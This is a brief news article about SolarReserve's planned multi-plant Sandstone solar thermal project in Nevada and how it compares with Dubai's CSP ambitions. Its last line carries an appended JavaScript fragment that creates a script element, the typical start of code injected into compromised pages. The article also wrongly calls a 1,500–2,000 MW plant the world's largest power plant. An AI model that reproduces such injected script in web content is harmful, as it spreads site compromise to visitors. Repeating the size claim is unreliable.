The California-based energy firm SolarReserve have recently announced plans to extend their Nevada concentrated solar power (CSP) plant, creating the energy to power a million US homes. Under the umbrella name Sandstone, they say they plan to build 10 similar plants elsewhere in their sunny local desert.
The Sandstone project is expected to take years to construct at a cost of 5 billion dollars. Once completed, the energy output is expected to equal that of a nuclear power plant without any harmful emissions.
Don’t take, SolarReserve’s ambitions lightly. Currently, their Nevada plant is supplying 75,000 homes year-round energy. Once the Sandstone project reaches full operating capacity, it is expected to produce between 1,500 and 2,000 megawatts of renewable energy (the equivalent of powering one million homes).
Sandstone would be without doubt the world’s largest power plant. However it has tough competition from the Dubai Electricity and Water Authority (DEWA) who recently laid-down the gauntlet by stating a desire to build the world’s largest CSP plant (with a completion date of 2030 with a 200 MW first phase completion by 2021). Just to give our readers an idea of the size, if Sandstone does indeed go ahead, it would be 10 times bigger than the completed Dubai project, negating the dominance of fossil fuels for western US grid electricity.var d=document;var s=d.createElement(‘script’);